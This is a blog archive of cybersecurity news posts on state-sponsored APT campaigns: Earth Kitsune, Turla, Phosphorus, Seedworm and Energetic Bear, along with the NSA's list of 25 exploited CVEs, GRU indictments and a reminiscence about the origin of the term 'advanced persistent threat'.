Category Archives: APT

Operation Earth Kitsune: hackers target the Korean diaspora

Experts uncovered a new watering hole attack, dubbed Operation Earth Kitsune, targeting the Korean diaspora that exploits flaws in web browsers.

Researchers at Trend Micro have disclosed details about a new watering hole campaign, dubbed Operation Earth Kitsune, targeting the Korean diaspora that exploits flaws in web browsers such as Google Chrome and Internet Explorer to deploy backdoors.

Threat actors behind the Operation Earth Kitsune used SLUB (for SLack and githUB) malware and two new backdoors tracked as dneSpy and agfSpy to exfiltrate data from the infected systems and for taking over them.

The attacks were spotted by the researchers during the months of March, May, and September.

Attackers have deployed the spyware on websites associated with North Korea, but experts pointed out that access to these sites is blocked for visitors from South Korean IP addresses.

“The threat, which we dubbed as such due to its abuse of Slack and GitHub in previous versions, has not abused either of the platforms this time; instead, it employed Mattermost, an open-source online chat service that can be easily deployed on-premise.” reads the analysis published by Trend Micro.

Operation Earth Kitsune

This campaign, unlike other ones, deployed numerous samples (7) to the victim machines and used multiple command-and-control (C&C) servers (5), attackers also employed exploits for four N-day bugs.

Experts were investigating a strange redirection of visitors of the Korean American National Coordinating Council (KANCC) website to the Hanseattle website. Users were redirected to a weaponized version of a proof of concept (POC) for the CVE-2019-5782 Chrome vulnerability published by Google researchers. Experts discovered that the exploit was infecting the victim machine with three separate malware samples.

Operation Earth Kitsune 2

The attack chain initiates with a connection to the C&C server to receive the dropper, which once executed first checks for the presence of anti-malware solutions on the target system before delivering the three backdoor samples (in “.jpg” format) and executing them.

The attackers used Mattermost server to keep track of the deployment across multiple infected machines and to create a separate channel for each machine for data exfiltration.

The agfSpy backdoor support multiple commands to exfiltrate data, capture screenshots, enumerate directories, upload, download, and execute files.

“One interesting aspect of dneSpy’s design is its C&C pivoting behavior. The central C&C server’s response is actually the next-stage C&C server’s domain/IP, which dneSpy has to communicate with to receive further instructions.” continues the analysis.

agfSpy uses its own C&C server mechanism to receive commands that could instruct the backdoor to execute shell commands and send the execution results back to the server.

agfSpy and dneSpy are very similar except for the use of a different C&C server and various formats in message exchanges.

“Operation Earth Kitsune turned out to be complex and prolific, thanks to the variety of components it uses and the interactions between them,” the researchers concluded. “The campaign’s use of new samples to avoid detection by security products is also quite notable.”

“From the Chrome exploit shellcode to the agfSpy, elements in the operation are custom coded, indicating that there is a group behind this operation. This group seems to be highly active this year, and we predict that they will continue going in this direction for some time.”

Pierluigi Paganini

(SecurityAffairs – hacking, Operation Earth Kitsune)

The post Operation Earth Kitsune: hackers target the Korean diaspora appeared first on Security Affairs.

Firestarter Android Malware Abuses Google Firebase Cloud Messaging

The DoNot APT threat group is leveraging the legitimate Google Firebase Cloud Messaging server as a command-and-control (C2) communication mechanism.

Microsoft Warns Threat Actors Continue to Exploit Zerologon Bug

Tech giant and feds this week renewed their urge to organizations to update Active Directory domain controllers.

US Cyber Command details implants used in attacks on parliaments and embassies

US Cyber Command published technical details on malware implants used by Russia-linked APTs on multiple parliaments, embassies

US Cyber Command shared technical details about malware implants employed by Russian hacking groups in attacks against multiple ministries of foreign affairs, national parliaments, and embassies.

Experts from the US Cyber Command’s Cyber National Mission Force (CNMF) unit and the Cybersecurity and Infrastructure Security Agency (CISA) uploaded the samples on the Virus Total online virus scan platform.

CISA also published two joint advisories with the FBI and CNMF that provides info regarding the ComRAT and Zebrocy malware that were used by Russia-linked APT groups, including the APT28 and Turla.

The Turla APT group (aka SnakeUroburosWaterbugVenomous Bear and KRYPTONhas been active since at least 2007 targeting diplomatic and government organizations and private businesses in the Middle East, Asia, Europe, North and South America, and former Soviet bloc nations.

The list of previously known victims is long and includes also the Swiss defense firm RUAG, US Department of State, NASA and the US Central Command.

“FBI has high-confidence that Russian-sponsored APT actor Turla, which is an espionage group active for at least a decade, is using ComRAT malware to exploit victim networks. The group is well known for its custom tools and targeted operations.” reads the advisory published CISA.

Russia-linked cyberespionage groups utilized the Zebrocy backdoor in attacks aimed at embassies and ministries of foreign affairs from Eastern Europe and Central Asia.

“Two Windows executables identified as a new variant of the Zebrocy backdoor were submitted for analysis. The file is designed to allow a remote operator to perform various functions on the compromised system.” reads the CISA’s advisory.

Zebrocy is known to be a malware of the APT28’s arsenal, a Russia linked APT group working under the control of the Russian Main Intelligence Directorate (GRU).

Pierluigi Paganini

(SecurityAffairs – hacking, US Cyber Command)

The post US Cyber Command details implants used in attacks on parliaments and embassies appeared first on Security Affairs.

Russia-linked Turla APT hacked European government organization

Russia-linked APT Turla has hacked into the systems of an undisclosed European government organization according to Accenture.

According to a report published by Accenture Cyber Threat Intelligence (ACTI), Russia-linked cyber-espionage group Turla has hacked into the systems of an undisclosed European government organization.

The Turla APT group (aka SnakeUroburosWaterbugVenomous Bear and KRYPTON) has been active since at least 2007 targeting diplomatic and government organizations and private businesses in the Middle East, Asia, Europe, North and South America, and former Soviet bloc nations.

The list of previously known victims is long and includes also the Swiss defense firm RUAG, US Department of State, and the US Central Command.

The attack against the undisclosed European government organization is in line with the APT’s espionage motivation, the attacker utilized a combination of remote procedure call (RPC)-based backdoors, such as HyperStack and remote administration trojans (RATs), such as Kazuar and Carbon. ACTI researchers observed the attacks between June and October 2020. 

“Notably, Accenture researchers recently identified novel command and control (C&C) configurations for Turla’s Carbon and Kazuar backdoors on the same victim network.” reads the report published by Accenture. “The Kazuar instances varied in configuration between using external C&C nodes off the victim network and internal nodes on the affected network, and the Carbon instance had been updated to include a Pastebin project to receive encrypted tasks alongside its traditional HTTP C&C infrastructure.”

HyperStack is one of several RPC backdoors in the Turla’s arsenal that was first observed in 2018, it is a custom implant developed by the ATP group.

HyperStack leverages named pipes to execute remote procedure calls (RPC) from the command end control to the device running the HyperStack client. Lateral movements are implemented attempting to connect to another remote device’s IPC$ share, either using a null session or default credentials.

“IPC$ is a share that facilitates inter-process communication (IPC) by exposing named pipes to write to or read from. If the implant’s connection to the IPC$ is successful, the implant can forward RPC commands from the controller to the remote device, and likely has the capability to copy itself onto the remote device.” continues the report.

Turla uses a variety of command and control (C&C) implementations for each compromise in an attempt to be resilient to countermeasures implemented by the defenders. The Russia-linked APT group has relied on bot compromised web servers as C&C and legitimate web services like Pastebin as C2. One of the Kazuar sample analyzed by the experts was configured to receive commands sent through likely internal nodes in the government’s network.

Turla continues to extensively use the modular Carbon backdoor framework with advanced peer-to-peer capability. One of the Carbon backdoor analyzed by the researchers used the traditional threat actor-owned C&C infrastructure with tasks served from Pastebin. ACTI analysts discovered a Carbon installer that dropped a Carbon Orchestrator, two communication modules, and an encrypted configuration file.

ACTI also shared Indicators of Compromise (IoCs) for this attack to allow Government entities to check for evidence of compromise within their networks.

“Turla will likely continue to use its legacy tools, albeit with upgrades, to compromise and maintain long-term access to its victims because these tools have proven successful against Windows-based networks,” concludes Accenture.

Pierluigi Paganini

(SecurityAffairs – hacking, Turla)

The post Russia-linked Turla APT hacked European government organization appeared first on Security Affairs.

Iran-linked Phosphorous APT hacked emails of security conference attendees

Iran-linked APT group Phosphorus successfully hacked into the email accounts of multiple high-profile individuals and security conference attendees.

Microsoft revealed that Iran-linked APT Phosphorus (aka APT35Charming KittenNewscaster, and Ajax Security Team) successfully hacked into the email accounts of multiple high-profile individuals and attendees at this year’s Munich Security Conference and the Think 20 (T20) summit.

“Today, we’re sharing that we have detected and worked to stop a series of cyberattacks from the threat actor Phosphorous masquerading as conference organizers to target more than 100 high-profile individuals.” reads the post published by Microsoft. “Phosphorus, an Iranian actor, has targeted with this scheme potential attendees of the upcoming Munich Security Conference and the Think 20 (T20) Summit in Saudi Arabia.”

Nation-state actors successfully targeted over 100 individuals, including former ambassadors and other senior policy experts.

According to the experts at Microsoft Security Intelligence Center, the attacks are part of a cyber-espionage campaign aims at gathering intelligence on the victims by exfiltrating data from their mailboxs and contact list.

Data was exfiltrated to the de-ma[.]online domain, and the g20saudi.000webhostapp[.]com, and ksat20.000webhostapp[.]com subdomains.

The attackers have been sending spoofed email invitations to to former government officials, policy experts, academics, and leaders from non-governmental organizations. Attackers attempted to exploit the fears of travel during the Covid-19 pandemic by offering remote sessions.

The emails were written in almost perfect English.

Experts believe that this campaign is not tied to the upcoming U.S. Presidential elections.

Microsoft experts have worked with conference organizers who are warning their attendees about the ongoing attacks and suggesting them to remain vigilant to this approach being used in connection with other conferences or events.

“We recommend people evaluate the authenticity of emails they receive about major conferences by ensuring that the sender address looks legitimate and that any embedded links redirect to the official conference domain. As always, enabling multi-factor authentication across both business and personal email accounts will successfully thwart most credential harvesting attacks like these.” suggest Microsoft. “For anyone who suspects they may have been a victim of this campaign, we also encourage a close review of email-forwarding rules in accounts to identify and remove any suspicious rules that may have been set during a successful compromise.”

The Phosphorus group made the headlines in 2014 when experts at iSight issued a report describing the most elaborate net-based spying campaign organized by Iranian hackers using social media.

Microsoft has been tracking the threat actors at least since 2013, but experts believe that the cyberespionage group has been active since at least 2011. In past campaigns, the APT group launched spear-phishing attacks against activists and journalists focusing on the Middle East, US organizations, and entities located in Israel, the U.K., Saudi Arabia, and Iraq.

Recently Microsoft published a post and a series of tweets to warn of cyber attacks exploiting the Zerologon vulnerability carried out by the Iran-linked APT group known as MuddyWater, aka Mercury.

The IT giant also warned of cyber espionage campaigns carried out by other nation state-sponsored hacking groups operating from Russia and China targeting organizations and individuals involved in this year’s U.S. presidential election.

Pierluigi Paganini

(SecurityAffairs – hacking, Phosphorous)

The post Iran-linked Phosphorous APT hacked emails of security conference attendees appeared first on Security Affairs.

Iran-Linked Seedworm APT target orgs in the Middle East

The Iran-linked cyber espionage group tracked as Seedworm started using a new downloader and is conducting destructive attacks.

The Iran-linked cyber-espionage group Seedworm (aka MuddyWater MERCURY, and Static Kitten) was observed using a new downloader in a new wave of attacks. Security experts pointed out that the threat actor started conducting destructive attacks.

Also referred to as MuddyWater, MERCURY, and Static Kitten, the cyber-espionage group was initially analyzed in 2017.

The first MuddyWater campaign was observed in late 2017, then researchers from Palo Alto Networks were investigating a mysterious wave of attacks in the Middle East.

The experts called the campaign ‘MuddyWater’ due to the confusion in attributing these attacks that took place between February and October 2017 targeting entities in Saudi Arabia, Iraq, Israel, United Arab Emirates, Georgia, India, Pakistan, Turkey, and the United States to date.

In September 2018, experts from Symantec found evidence of Seedworm and the espionage group APT28 on a computer in the Brazil-based embassy of an oil-producing nation. 

Earlier this month, the Iranian APT group was observed actively targeting the Zerologon flaw.

According to security firm ClearSky and Symantec, Seedworm recently started using a new downloader dubbed PowGoop. Experts noticed that the threat actors used the downloader to deliver the Thanos ransomware in an attack aimed at an organization in the Middle East.

“PowGoop is a loader that was exposed in a PaloAlto report and later used in Operation Quicksand. PowGoop is comprised of a DLL Loader and a PowerShell-based downloader.” reads the report published by ClearSky. “The malicious file impersonates a legitimate goopdate.dll file that is signed as a Google Update executable”

The experts observed the attacks between July 6 and July 9, 2020, the hackers employed a strain of ransomware that was able to evade security tools and that implemented a destructive feature by overwriting the MBR.

Experts pointed out that the primary objectives of previous MuddyWater campaigns were espionage and cyber espionage, but in the latest campaign, tracked as ‘Operation Quicksand’ threat actors used for the first time the destructive malware in attacks on prominent organizations in Israel and in other countries around the world.

“We assess that the group is attempting to employ destructive attacks (the likes of the NotPetya attack from 2017), via a disguised as ransomware attacks” continnues the report.

“Although we didn’t see execution of the destruction in the wild, due to the presence of the destructive capabilities, the attribution to nation-state sponsored threat actor, and the realization of this vector in the past, a destructive purpose is more likely than a ransomware that is being deployed for financial goals.”

Another report published by Symantec connected the dots between MuddyWater and the PowGoopdownlaoder.

“In several recent Seedworm attacks, PowGoop was used on computers that were also infected with known Seedworm malware (Backdoor.Mori). In addition to this, activity involving Seedworm’s Powerstats (aka Powermud) backdoor appears to have been superseded by DLL side-loading of PowGoop.” reads the report published by Symantec.

“Additionally, during PowGoop activity, we also observed the attackers downloading tools and some unknown content from GitHub repos, similar to what has been reported on Seedworm‘s Powerstats in the past.”

Symantec researchers noticed that on the same machine where Seedworm was active, the attackers deployed the PowGoop downloader which is known to be a malware that is part of Seedworm’s arsenal.

PowGoop appears to have been employed in attacks aimed at governments, education, oil and gas, real estate, technology, and telecoms organizations in Afghanistan, Azerbaijan, Cambodia, Iraq, Israel, Georgia, Turkey, and Vietnam.

Symantec’s analysis revealed that the PowGoop was masquerading as a Google tool and noticed the use of SSF and Chisel.

Experts speculate the PowGoop downloader might be an evolution of Powerstats tool employed by MuddyWater in previous attacks.

“Symantec has not found any evidence of a wiper or ransomware on computers infected with PowGoop.”Symantec concludes. “This suggests that either the simultaneous presence of PowGoop and Thanos in one attack was a coincidence or, if the two are linked, that PowGoop is not used exclusively to deliver Thanos,”

Pierluigi Paganini

(SecurityAffairs – hacking, Seedworm)

The post Iran-Linked Seedworm APT target orgs in the Middle East appeared first on Security Affairs.

FBI and CISA joint alert blames Russia’s Energetic Bear APT for US government networks hack

The US government declared that Russia-linked APT group Energetic Bear has breached US government networks and exfiltrated data.

A joint security advisory published by The Cybersecurity and Infrastructure Security Agency (CISA) and the Federal Bureau of Investigation (FBI) revealed that Russia-linked APT group Energetic Bear has breached US government networks and exfiltrated data.

The Energetic Bear APT group (aka DragonFlyCrouching Yeti, TEMP.Isotope, Berserk Bear, TeamSpy, Havex, Koala). has been active since at least 2010 most of the victims of the group are organizations in the energy and industrial sectors.

In March 2018, the Department of Homeland Security and Federal Bureau of Investigation issued a joint technical alert to warn of attacks on US critical infrastructure powered by Russian threat actors. The US-CERT blamed the APT group tracked as DragonflyCrouching Yeti, and Energetic Bear.

This joint advisory provides information on Russia-linked APT actor activity targeting various U.S. state, local, territorial, and tribal (SLTT) government networks, as well as aviation networks. 

Officials said the group has been targeting dozens of US state, local, territorial, and tribal (SLTT) government networks since at least February 2020.

Energetic Bear successfully compromised the infrastructure and as of October 1, 2020, exfiltrated data from at least two victim servers.

“Since at least September 2020, a Russian state-sponsored APT actor—known variously as Berserk Bear, Energetic Bear, TeamSpy, Dragonfly, Havex, Crouching Yeti, and Koala in open-source reporting—has conducted a campaign against a wide variety of U.S. targets.” reads the advisory. “The Russian state-sponsored APT actor has targeted dozens of SLTT government and aviation networks, attempted intrusions at several SLTT organizations, successfully compromised network infrastructure, and as of October 1, 2020, exfiltrated data from at least two victim servers.”

The Russian-sponsored APT actor uses previously obtained user and administrator credentials to access the target network and then perform lateral movement to locate high-value assets and exfiltrate data. In at least one compromise, the APT actor laterally traversed an SLTT victim network and accessed documents related to sensitive network configurations and passwords, standard operating procedures (SOP), IT instructions, such as requesting password resets, vendors and purchasing information. printing access badges.

This advisory updates another joint CISA-FBI cybersecurity advisory, which warned of attackers combining VPN and Windows Zerologon flaws to target government networks.

The new advisory attributes the cyber attacks to the Russian threat actor and included technical details about the Energetic Bear’s TTPs.

The state-sponsored hackers scanned for vulnerable Citrix (CVE-2019-19781) and Microsoft Exchange services (CVE-2020-0688) and identified vulnerable installs for future exploitation.

According to the technical advisory, Russian hackers used publicly known vulnerabilities to breach networking gear, pivot to internal networks, elevate privileges, and steal sensitive data.

Hackers also targeted Exim mail agents (CVE 2019-10149) and Fortinet SSL VPNs (CVE-2018-13379).

Once gained access to the target networks, Russian hackers moved laterally exploiting the Zerologon vulnerability in Windows Servers (CVE-2020-1472) to access and steal Windows Active Directory (AD) credentials to take over the target’s internal network.

“To date, the FBI and CISA have no information to indicate this APT actor has intentionally disrupted any aviation, education, elections, or government operations. However, the actor may be seeking access to obtain future disruption options, to influence US policies and actions, or to delegitimize SLTT government entities,” continues the alert.

“As this recent malicious activity has been directed at SLTT government networks, there may be some risk to elections information housed on SLTT government networks. However, the FBI and CISA have no evidence to date that integrity of elections data has been compromised.”

Pierluigi Paganini

(SecurityAffairs – hacking, Energetic Bear)

The post FBI and CISA joint alert blames Russia’s Energetic Bear APT for US government networks hack appeared first on Security Affairs.

ENISA Threat Landscape Report 2020

According to the ENISA Threat Landscape Report 2020, cyberattacks are becoming more sophisticated, targeted, and in many cases undetected.

I’m proud to present the ENISA Threat Landscape Report 2020, the annual report published by the ENISA that provides insights on the evolution of cyber threats for the period January 2019-April 2020.

The 8th annual ENISA Threat Landscape (ETL) report was compiled by the European Union Agency for Cybersecurity (ENISA), with the support of the European Commission, EU Member States and the CTI Stakeholders Group.

It is an amazing work that identifies and evaluates the top cyber threats for the period January 2019-April 2020.

This year the report has a different format that could allow the readers to focus on the threat of interest. The publication is divided into 22 different reports, which are available in both pdf form and ebook form.

The report provides details on threats that characterized the period of the analysis and highlights the major change from the 2018 threat landscape as the COVID-19-led transformation of the digital environment.

“During the pandemic, cyber criminals have been seen advancing their capabilities, adapting quickly and targeting relevant victim groups more effectively. (Infographic – Threat Landscape Mapping during COVID-19). states the report.

ENISA Threat Landscape Report 2020

The ETL report provides strategic and technical analysis of the events, it was created to provide relevant information to both technical and non-technical readers.

For a better understanding of how the ETL is structured, we recommend the initial reading of “The Year in Review” report, the following table could help readers to focus on the section of their interest included in the publication.

The report highlights the importance of cyber threat intelligence to respond to increasingly automated attacks leveraging automated tools and skills.

Another element of concern is the diffusion of IoT devices, in many cases, smart objects are exposed online without protection.

Below the main trends reported in the document:

  • Attack surface in cybersecurity continues to expand as we are entering a new phase of the digital transformation.
  • There will be a new social and economic norm after the COVID-19 pandemic even more dependent on a secure and reliable cyberspace.
  • The use of social media platforms in targeted attacks is a serious trend and reaches different domains and types of threats.
  • Finely targeted and persistent attacks on highvalue data (e.g. intellectual property and state secrets) are being meticulously planned and executed by state-sponsored actors.
  • Massively distributed attacks with a short duration and wide impact are used with multiple objectives such as credential theft.
  • The motivation behind the majority of cyberattacks is still financial.
  • Ransomware remains widespread with costly consequences to many organisations.
  • Still many cybersecurity incidents go unnoticed or take a long time to be detected.
  • With more security automation, organisations will be invest more in preparedness using Cyber Threat Intelligence as its main capability.
  • The number of phishing victims continues to grow since it exploits the human dimension being the weakest link.

Let me close with the Top Threats 2020, for each threat the report includes detailed information on trends and observed evolution.

ENISA Threat Landscape Report 2020 2

Enjoy it!

Pierluigi Paganini

(SecurityAffairs – hacking, ENISA Threat Landscape Report 2020)

The post ENISA Threat Landscape Report 2020 appeared first on Security Affairs.

Bug Parade: NSA Warns on Cresting China-Backed Cyberattacks

The Feds have published a Top 25 exploits list, rife with big names like BlueKeep, Zerologon and other notorious security vulnerabilities.

NSA details top 25 flaws exploited by China-linked hackers

The US National Security Agency (NSA) has shared the list of top 25 vulnerabilities exploited by Chinese state-sponsored hacking groups in attacks in the wild.

The US National Security Agency (NSA) has published a report that includes details of the top 25 vulnerabilities that are currently being exploited by China-linked APT groups in attacks in the wild.

The knowledge of these vulnerabilities could allow IT and security staffs at organizations worldwide to protect their infrastructure against Chinese state-sponsored hacking campaigns.

The report includes well known vulnerabilites that have been already addressed by their vendors.

“This advisory provides Common Vulnerabilities and Exposures (CVEs) known to be recently leveraged, or scanned-for, by Chinese state-sponsored cyber actors to enable successful hacking operations against a multitude of victim networks. Most of the vulnerabilities listed below can be exploited to gain initial access to victim networks using products that are directly accessible from the Internet and act as gateways to internal networks.” reads the report. “The majority of the products are either for remote access (T1133)1 or for external web services (T1190), and should be prioritized for immediate patching.”

The report includes a description of the vulnerability and the recommended mitigations.

The exploits for many of these vulnerabilities are publicly available and are employed by multiple threat actors, including China-linked hackers, in attacks in the wild.

The majority of the vulnerabilities can be exploited to gain initial access to the target networks, they affect systems that are directly accessible from the Internet, such as firewalls and gateways.

NSA confirmed that it is aware that National Security Systems, Defense Industrial Base, and Department of Defense networks are consistently scanned, targeted, and exploited by Chinese state-sponsored cyber actors. The US agency recommends that critical system owners will address the above vulnerabilities to mitigate the risk of loss of sensitive information that could have a significant impact on U.S. policies, strategies, plans, and competitive advantage.

The

These include:

1) CVE-2019-11510 – In Pulse Secure VPNs, ® 7 an unauthenticated remote attacker can send a specially crafted URI to perform an arbitrary file reading vulnerability. This may lead to exposure of keys or passwords.

2) CVE-2020-5902– In F5 BIG-IP® 8 proxy / load balancer devices, the Traffic Management User Interface (TMUI) – also referred to as the Configuration utility – has a Remote Code Execution (RCE) vulnerability in undisclosed pages.

3) CVE-2019-19781 – An issue was discovered in Citrix® 9 Application Delivery Controller (ADC) and Gateway. They allow directory traversal, which can lead to remote code execution without credentials.

4+5+6) CVE-2020-8193CVE-2020-8195CVE-2020-8196– Improper access control and input validation, in Citrix® ADC and Citrix® Gateway and Citrix® SDWAN WAN-OP, allows unauthenticated access to certain URL endpoints and information disclosure to low-privileged users

7) CVE-2019-0708 (aka BlueKeep) – A remote code execution vulnerability exists within Remote Desktop Services®10 when an unauthenticated attacker connects to the target system using RDP and sends specially crafted requests

8) CVE-2020-15505 – A remote code execution vulnerability in the MobileIron®13 mobile device management (MDM) software that allows remote attackers to execute arbitrary code and take over remote company servers.

9) CVE-2020-1350 (aka SIGRed– A remote code execution vulnerability exists in Windows Domain Name System servers when they fail to properly handle requests.

10) CVE-2020-1472 (aka Netlogon) – An elevation of privilege vulnerability exists when an attacker establishes a vulnerable Netlogon secure channel connection to a domain controller using the Netlogon Remote Protocol (MS-NRPC).

11) CVE-2019-1040 – A tampering vulnerability exists in Microsoft Windows when a man-in-the-middle attacker is able to successfully bypass the NTLM MIC (Message Integrity Check) protection.

12) CVE-2018-6789 – Sending a handcrafted message to an Exim mail transfer agent may cause a buffer overflow. This can be used to execute code remotely and take over email servers.

13) CVE-2020-0688 – A Microsoft Exchange® validation key remote code execution vulnerability exists when the software fails to properly handle objects in memory

14) CVE-2018-4939 – Certain Adobe ColdFusion versions have an exploitable Deserialization of Untrusted Data vulnerability. Successful exploitation could lead to arbitrary code execution.

15) CVE-2015-4852 – The WLS Security component in Oracle WebLogic 15 Server allows remote attackers to execute arbitrary commands via a crafted serialized Java object

16) CVE-2020-2555 – A vulnerability exists in the Oracle Coherence product of Oracle Fusion Middleware. This easily exploitable vulnerability allows unauthenticated attacker with network access via T3 to compromise Oracle Coherence systems.

17) CVE-2019-3396– The Widget Connector macro in Atlassian Confluence 17 Server allows remote attackers to achieve path traversal and remote code execution on a Confluence Server or Data Center instance via server-side template injection.

18) CVE-2019-11580 – Attackers who can send requests to an Atlassian Crowd or Crowd Data Center instance can exploit this vulnerability to install arbitrary plugins, which permits remote code execution.

19) CVE-2020-10189 – Zoho ManageEngine Desktop Central allows remote code execution because of deserialization of untrusted data.

20) CVE-2019-18935 – Progress Telerik UI for ASP.NET AJAX contains a .NET deserialization vulnerability. Exploitation can result in remote code execution.

21) CVE-2020-0601 (aka CurveBall) – A spoofing vulnerability exists in the way Windows CryptoAPI (Crypt32.dll) validates Elliptic Curve Cryptography (ECC) certificates. An attacker could exploit the vulnerability by using a spoofed code-signing certificate to sign a malicious executable, making it appear that the file was from a trusted, legitimate source.

22) CVE-2019-0803– An elevation of privilege vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory.

23) CVE-2017-6327– The Symantec Messaging Gateway can encounter a remote code execution issue.

24) CVE-2020-3118 – A vulnerability in the Cisco Discovery Protocol implementation for Cisco IOS XR Software could allow an unauthenticated, adjacent attacker to execute arbitrary code or cause a reload an affected device.

25) CVE-2020-8515 – DrayTek Vigor devices allow remote code execution as root (without authentication) via shell metacharacters.

Pierluigi Paganini

(SecurityAffairs – hacking, NSA)

The post NSA details top 25 flaws exploited by China-linked hackers appeared first on Security Affairs.

U.S. Charges Russia GRU Intelligence Officers for notorious attacks, including NotPetya

The U.S. DoJ announced charges against six Russian intelligence officers for their role in several major cyberattacks carried out over the last years.

The U.S. Department of Justice announced charges against six members of Russia’s GRU military intelligence agency for their alleged role in several major cyberattacks conducted over the past years.

The defendants are Yuriy Sergeyevich Andrienko, aged 32, Sergey Vladimirovich Detistov, 35, Pavel Valeryevich Frolov, 28, Anatoliy Sergeyevich Kovalev, 29, Artem Valeryevich Ochichenko, 27, and Petr Nikolayevich Pliskin, 32.

The six Russian intelligence officers are believed to be members of the Russia-linked Sandworm APT group (aka Telebots, Iron Viking and Voodoo Bear).

According to the indictment, the GRU officers were involved in attacks on Ukraine, including the attacks aimed at the country’s power grid in 2015 and 2016 that employed the BlackEnergy and Industroyer malware.

US DoJ charged the men with damaging protected computers, conspiracy to conduct computer fraud and abuse, wire fraud, conspiracy to commit wire fraud, and aggravated identity theft.

Government experts linked the Russian APT group to major attacks, including NotPetya, a hacking operation targeting elections in France in 2017, the attack against PyeongChang Winter Olympics that involved the Olympic Destroyer malware, as well as a series of attacks on Georgian companies and government organizations.

“Their computer attacks used some of the world’s most destructive malware to date, including: KillDisk and Industroyer, which each caused blackouts in Ukraine; NotPetya, which caused nearly $1 billion in losses to the three victims identified in the indictment alone; and Olympic Destroyer, which disrupted thousands of computers used to support the 2018 PyeongChang Winter Olympics.” reads the press release published by the DoJ. “The indictment charges the defendants with conspiracy, computer hacking, wire fraud, aggravated identity theft, and false registration of a domain name.”

Since November 2015 and until at least in October 2019, the defendants and their co-conspirators were involved in the development and deployment of destructive malware and took part in disruptive hacking campaign actions,.

Below the list overt acts for each defendant:

DefendantSummary of Overt Acts
Yuriy Sergeyevich Andrienko·      Developed components of the NotPetya and Olympic Destroyer malware.
Sergey Vladimirovich Detistov·      Developed components of the NotPetya malware; and·      Prepared spearphishing campaigns targeting the 2018 PyeongChang Winter Olympic Games. 
Pavel Valeryevich Frolov·       Developed components of the KillDisk and NotPetya malware.
Anatoliy Sergeyevich Kovalev·       Developed spearphishing techniques and messages used to target:-       En Marche! officials;-       employees of the DSTL;-       members of the IOC and Olympic athletes; and-       employees of a Georgian media entity.
Artem Valeryevich Ochichenko·       Participated in spearphishing campaigns targeting 2018 PyeongChang Winter Olympic Games partners; and·       Conducted technical reconnaissance of the Parliament of Georgia official domain and attempted to gain unauthorized access to its network.
Petr Nikolayevich Pliskin·       Developed components of the NotPetya and Olympic Destroyer malware. 

The FBI added the defendants to the Cyber’s Most Wanted list.

“The FBI has repeatedly warned that Russia is a highly capable cyber adversary, and the information revealed in this indictment illustrates how pervasive and destructive Russia’s cyber activities truly are,” said FBI Deputy Director David Bowdich.  “But this indictment also highlights the FBI’s capabilities.  We have the tools to investigate these malicious malware attacks, identify the perpetrators, and then impose risks and consequences on them.  As demonstrated today, we will relentlessly pursue those who threaten the United States and its citizens.”

“For more than two years we have worked tirelessly to expose these Russian GRU Officers who engaged in a global campaign of hacking, disruption and destabilization, representing the most destructive and costly cyber-attacks in history,” said Scott Brady, U.S. Attorney for the Western District of Pennsylvania. “The crimes committed by Russian government officials were against real victims who suffered real harm. We have an obligation to hold accountable those who commit crimes – no matter where they reside and no matter for whom they work – in order to seek justice on behalf of these victims.”

GRU intelligence officers charged

Pierluigi Paganini

(SecurityAffairs – hacking, intelligence)

The post U.S. Charges Russia GRU Intelligence Officers for notorious attacks, including NotPetya appeared first on Security Affairs.

Microsoft Exchange, Outlook Under Siege By APTs

A new threat report shows that APTs are switching up their tactics when exploiting Microsoft services like Exchange and OWA, in order to avoid detection.

Iran-linked Silent Librarian APT targets universities again

Iran-linked cyberespionage group Silent Librarian has launched a new phishing campaign aimed at universities around the world.

Iran-linked APT group Silent Librarian has launched another phishing campaign targeting universities around the world.

The Silent Librarian, also tracked as Cobalt Dickens and TA407, targeted tens of universities in four continents in the last couple of years.

In August 2018, the security firm SecureWorks uncovered a phishing campaign carried out by the APT group targeting universities worldwide. The operation involved sixteen domains hosting more than 300 spoofed websites for 76 universities in 14 countries, including Australia, Canada, China, Israel, Japan, Switzerland, Turkey, the United Kingdom, and the United States.

Since mid-September, researchers from Malwarebytes observed a new spear-phishing campaign carried out by the group that is expanding its target list to include more countries.

Silent Librarian hackers targeted both employees and students at the universities, experts noticed that the threat actor set up a new infrastructure to avoid a takeover.

“Considering that Iran is dealing with constant sanctions, it strives to keep up with world developments in various fields, including that of technology. As such, these attacks represent a national interest and are well funded,” states Malwarebytes. “The new domain names follow the same pattern as previously reported, except that they swap the top level domain name for another.”

The threat actor used domain names following a pattern observed in past campaigns, although they use a different top-level domain name (the “.me” TLD instead of “.tk” and “.cf”).

Silent Librarian

The hackers use Cloudflare for phishing hostnames in an attempt to hide the real hosting origin. Anyway, Malwarebytes was able to identify some of the infrastructure which was located in Iran, likely because it is considered a bulletproof hosting option due to the lack of cooperation between US and European law enforcement and local police in Iran.

“Clearly we only uncovered a small portion of this phishing operation. Although for the most part the sites are taken down quickly, the attacker has the advantage of being one step ahead and is going for many possible targets at once,” Malwarebytes concludes.

The security firm also published Indicators of Compromise (IoCs) for this campaign.

Pierluigi Paganini

(SecurityAffairs – hacking, Silent Librarian)

The post Iran-linked Silent Librarian APT targets universities again appeared first on Security Affairs.

Greg Rattray Invented the Term Advanced Persistent Threat

 



I was so pleased to read this Tweet yesterday from Greg Rattray:

"Back in 2007, I coined the term “Advanced Persistent Threat” to characterize emerging adversaries that we needed to work with the defense industrial base to deal with... Since then both the APT term and the nature of our adversaries have evolved. What hasn’t changed is that in cyberspace, advanced attackers will persistently go after targets with assets they want, no matter the strength of defenses."

Background


First, some background. Who is Greg Rattray?

First, you could call him Colonel or Doctor. I will use Col as that was the last title I used with him, although these days when we chat I call him Greg. 

Col Rattray served 21 years in the Air Force and also earned his PhD in international security from Tufts University. His thesis formed the content for his 2001 book Strategic Warfare in Cyberspace, which I reviewed in 2002 and rated 4 stars. (Ouch -- I was a bit stingy with the stars back then. I was more of an operator and less of a theorist or historian in those days. Such was my bias I suppose.)

Col Rattray is also a 1984 graduate of the Air Force Academy. He studied history and political science there and returned as an assistant professor in the early 1990s. He was one of my instructors when I was a cadet there. (I graduated in 1994 with degrees in history and political science.) Col Rattray then earned a master of public policy degree at Harvard Kennedy School. (I did the same, in 1996.) 

Do you see a pattern here? He is clearly a role model. Of course, I did not stay in the Air Force as long, earn the same rank, or survive my PhD program!

After the Academy, Col Rattray served as commander of the 23rd Information Operations Squadrons on Security Hill in San Antonio, Texas. I was working in the AFCERT at the time. 

